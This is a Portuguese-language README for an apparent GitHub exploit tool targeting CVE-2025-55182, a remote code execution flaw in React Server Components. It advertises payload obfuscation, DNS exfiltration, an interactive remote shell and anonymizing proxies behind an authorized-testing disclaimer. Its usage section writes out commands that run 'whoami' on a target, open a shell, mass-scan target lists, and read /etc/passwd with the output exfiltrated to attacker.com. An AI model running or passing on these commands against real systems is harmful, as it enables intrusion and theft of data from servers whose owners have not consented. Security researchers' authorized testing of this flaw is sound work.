cerberusmrxi/cve-2025-55182-advanced-react-server-components-rce-exploitScanner avançado de RCE para React Server Components para CVE-2025-55182. Recursos: fingerprinting multiestágio, verificação de vulnerabilidade, exfiltração via DNS, shell interativo, ofuscação de payload e relatórios profissionais (JSON/HTML/PDF). Apenas para testes autorizados.
Esta ferramenta foi projetada exclusivamente para fins EDUCACIONAIS e de TESTES DE SEGURANÇA AUTORIZADOS. A utilização não autorizada deste software contra alvos sem consentimento prévio por escrito constitui uma violação das leis internacionais de crimes informáticos, incluindo o Computer Fraud and Abuse Act (CFAA), as exigências do GDPR e os termos de serviço padrão. O autor e os contribuidores isentam-se de toda responsabilidade por qualquer uso indevido, operações ilegais ou danos consequentes resultantes deste programa. Prossiga estritamente por sua conta e risco.
O ReactRCE-Scanner é um framework de avaliação e verificação de segurança de nível empresarial, projetado especificamente para o CVE-2025-55182 [1], uma vulnerabilidade crítica de Execução Remota de Código (RCE) que afeta os React Server Components nas versões 19.0.0 até 19.2.0.
O framework preenche a lacuna entre a pesquisa teórica de vulnerabilidades e a validação prática de segurança. Ao incorporar fingerprinting multiestágio, rigorosa redução de falsos positivos, ofuscação avançada de payloads e geração automatizada de relatórios em múltiplos formatos, ele fornece aos engenheiros de segurança capacidades de diagnóstico precisas.
| Uso | Resultados da Varredura |
|---|---|
| Categoria de Funcionalidade | Destaque da Implementação | Status Operacional |
|---|---|---|
| Fingerprinting Inteligente | Detecção de framework e versão a partir de múltiplas fontes com algoritmos de pontuação de confiança. | ✅ |
| Verificação Multiestágio | Pipeline de validação em 5 estágios projetado para eliminar sistematicamente falsos positivos. | ✅ |
| Geração de Payloads | Construtor de payloads ofuscados com suporte a exfiltração via DNS e múltiplas codificações. | ✅ |
| Shell Interativo | Execução de comandos pseudointerativa em tempo real e acesso a shell em alvos verificados. | ✅ |
| Relatórios Abrangentes | Geração automatizada de relatórios nos formatos JSON, HTML, PDF e Markdown. | ✅ |
| Exfiltração via DNS | Exfiltração de saída de comandos fora de banda por meio de tratamento seguro de consultas DNS. | ✅ |
| Motor de Concorrência | Arquitetura de varredura multithread de alto desempenho para grandes superfícies de ataque. | ✅ |
| Integração com Proxy | Suporte a proxy HTTP/HTTPS e SOCKS para tráfego de avaliação anonimizado. | ✅ |
Clone o repositório e inicialize o ambiente utilizando o script de configuração automatizado ou a instalação manual de dependências:
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
# Configure execution permissions and run setup script
chmod +x setup.sh
./setup.sh
# Alternatively, install core Python dependencies manually
pip install -r requirements.txt
O framework opera por meio de uma arquitetura CLI modular com suporte a validação de alvo único, varredura em massa a partir de listas de arquivos, abertura de shell interativo e geração de relatórios de conformidade.
# 1. Perform a vulnerability scan against a single target
python exploit.py -t https://target.com -m scan
# 2. Execute bulk scans from a target list with JSON export
python exploit.py -f targets.txt -m scan -o report.json
# 3. Execute a single command on a verified vulnerable endpoint
python exploit.py -t https://target.com -m exploit -c "whoami"
# 4. Initiate an interactive remote shell session
python exploit.py -t https://target.com -m shell
# 5. Execute commands with out-of-band DNS exfiltration
python exploit.py -t https://target.com -m exploit -c "cat /etc/passwd" -d attacker.com
# 6. Compile a professional executive assessment report in PDF format
python exploit.py -f targets.txt -o assessment_report.pdf --format pdf
O framework realiza reconhecimento profundo antes da entrega do payload. Ele analisa múltiplos campos de cabeçalho HTTP (X-Powered-By, Next-Action, RSC), meta tags estruturais de HTML (data-reactroot, __NEXT_DATA__), assets de build estáticos e bundles de código-fonte JavaScript [2] [3].
As pontuações de confiança são categorizadas em quatro níveis:
CRÍTICO (95%+): Múltiplos indicadores ortogonais confirmam versões vulneráveis do runtime de React Server Components.
ALTO (75–95%): Fortes indicadores estruturais identificados com correspondência exata de versão.
MÉDIO (50–75%): Marcadores parciais de framework presentes; verificação manual necessária.
BAIXO (<50%): Heurísticas fracas detectadas; alta probabilidade de falso positivo.